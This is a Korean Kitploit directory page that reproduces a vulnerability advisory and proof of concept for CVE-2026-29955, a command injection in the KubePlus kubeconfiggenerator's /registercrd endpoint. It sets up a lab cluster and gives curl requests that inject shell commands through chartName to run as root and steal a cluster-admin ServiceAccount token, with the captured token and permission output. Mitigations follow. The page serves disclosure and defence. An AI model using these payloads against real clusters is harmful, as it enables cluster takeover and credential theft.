Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29955 — # CVE-2026-29955 개념 증명 KubePlus kubeconfiggenerator의 명령 주입 취약점으로, Kubernetes 클러스터에서 원격 코드 실행 및 ServiceAccount 토큰 탈취를 허용합니다. | Kitploit
도구/GitHubGitHub/b0b0haha/cve-2026-29955
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud Security
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

# CVE-2026-29955 개념 증명 KubePlus kubeconfiggenerator의 명령 주입 취약점으로, Kubernetes 클러스터에서 원격 코드 실행 및 ServiceAccount 토큰 탈취를 허용합니다.

저장소 보기
55개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

KubePlus KubeconfigGenerator 명령 주입 취약점

이 취약점은 KubePlus의 kubeconfiggenerator 구성 요소에 존재하며, HTTP 인터페이스에 접근 권한이 있는 공격자가 chartName 매개변수를 통해 셸 명령을 주입하고, 컨테이너 내에서 루트 권한으로 임의 코드를 실행하며, cluster-admin 권한을 가진 ServiceAccount 토큰을 탈취할 수 있습니다. 권장 CWE 분류: CWE-78 (OS 명령 주입).

요약

KubePlus kubeconfiggenerator 구성 요소의 /registercrd 엔드포인트는 명령 주입에 취약합니다. 이 구성 요소는 subprocess.Popen()을 shell=True 매개변수와 함께 사용하여 셸 명령을 실행하며, 사용자가 제공한 chartName 매개변수가 어떠한 검증이나 살균 없이 명령 문자열에 직접 연결됩니다. 공격자는 악의적인 chartName 매개변수 값을 구성하여 임의의 셸 명령을 주입할 수 있습니다.

세부 사항

근본 원인

CRD 등록 요청을 처리할 때 kubeconfiggenerator 구성 요소는 Helm 차트를 다운로드하고 압축을 해제합니다. download_and_untar_chart() 함수에서 chartName 매개변수가 셸 명령에 직접 연결됩니다:

파일: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

파일: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

파일: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

shell=True 매개변수로 인해 공격자는 셸 명령 치환 구문 $(command)을 사용하여 임의의 명령을 주입할 수 있습니다.

공격 벡터

악의적인 chartName 매개변수를 포함한 HTTP 요청을 /registercrd 엔드포인트로 전송함으로써, 공격자는 kubeconfiggenerator 컨테이너 내에서 임의의 명령을 실행할 수 있습니다. 컨테이너가 루트로 실행되고 해당 ServiceAccount에 cluster-admin 권한이 있으므로, 공격자는 다음을 수행할 수 있습니다:

  1. 임의의 시스템 명령 실행
  2. 컨테이너 내 민감한 파일 읽기
  3. ServiceAccount 토큰 탈취
  4. 탈취한 토큰을 사용하여 Kubernetes API에 접근

PoC

환경 설정

1. Kind 클러스터 생성

root@kitploit:~
# Kind 클러스터 구성 생성
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# 클러스터 생성
kind create cluster --config kind-config.yaml

# 클러스터 확인
kubectl cluster-info
kubectl get nodes

예상 출력:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. KubePlus 설치

root@kitploit:~
# 작업 디렉토리 생성
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# KubePlus 플러그인 다운로드
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# provider-kubeconfig 스크립트 다운로드
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Python 환경 설정
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# API 서버 주소 가져오기
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# provider kubeconfig 생성
python3 provider-kubeconfig.py -s $apiserver create default

예상 출력:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. Helm을 통한 KubePlus 설치

root@kitploit:~
# KubePlus Helm 차트 다운로드
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# KubePlus 설치
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# 파드가 준비될 때까지 대기
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# 설치 확인
kubectl get pods -n default -l app=kubeplus

예상 출력:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. 포트 포워딩 설정

root@kitploit:~
# 파드 이름 가져오기
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# 포트 포워딩 설정
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# 서비스 접근 확인
curl -s http://localhost:5005/hello

예상 출력:

root@kitploit:~
hello world

악용 단계

1단계: 명령 주입 실행 (id 명령)

악의적인 chartName 매개변수로 요청 전송:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

2단계: 명령 실행 확인

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

실제 검증 출력:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

3단계: ServiceAccount 토큰 탈취

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

4단계: 탈취한 토큰 추출

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

실제 검증 출력:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

5단계: 토큰 권한 확인

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

실제 검증 출력:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

서버 측 로그 증거

kubeconfiggenerator 컨테이너 로그는 명령 주입이 실행되었음을 보여줍니다:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

영향

이 취약점으로 인해 공격자는 다음을 수행할 수 있습니다:

  1. 원격 코드 실행: kubeconfiggenerator 컨테이너 내에서 루트 권한으로 임의의 명령 실행
  2. 자격 증명 탈취: cluster-admin 권한(*.*)을 가진 ServiceAccount 토큰 탈취
  3. 클러스터 장악: 탈취한 토큰을 사용하여 파드 생성/삭제, 시크릿 읽기, RBAC 구성 수정 등 모든 Kubernetes API 작업 수행
  4. 수평 이동: 클러스터 내 모든 네임스페이스의 리소스에 접근

전제 조건

  • 공격자는 kubeconfighelper 서비스 HTTP 인터페이스(포트 5005)에 접근할 수 있어야 함
  • 해당 서비스는 기본적으로 클러스터 내에서 접근 가능함

심각도

CVSS v3.1 점수: 8.8 (높음)

벡터: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • 공격 벡터(AV): 네트워크
  • 공격 복잡성(AC): 낮음
  • 필요한 권한(PR): 낮음 (kubeconfighelper 서비스 접근 필요)
  • 사용자 상호작용(UI): 없음
  • 범위(S): 변경 없음
  • 기밀성(C): 높음 (ServiceAccount 토큰 탈취 가능)
  • 무결성(I): 높음 (임의 명령 실행 가능)
  • 가용성(A): 높음 (서비스 가용성에 영향 가능)

영향을 받는 버전

  • KubePlus v4.2.0 및 이전 버전
  • 명령 실행에 shell=True를 사용하는 모든 버전

패치된 버전

아직 사용 가능한 패치 버전이 없습니다.

해결 방법

  1. 네트워크 격리: NetworkPolicy를 사용하여 kubeconfighelper 서비스에 대한 접근 제한
  2. RBAC 제한: kubeplus-saas-provider ServiceAccount의 권한 축소
  3. 모니터링: kubeconfiggenerator 컨테이너에서 비정상적인 명령 실행 모니터링
root@kitploit:~
# NetworkPolicy 예시
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

참고 자료

  • CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화 ('OS 명령 주입')
  • OWASP 명령 주입: https://owasp.org/www-community/attacks/Command_Injection
  • Python subprocess 보안: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

크레딧

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

도구 다운로드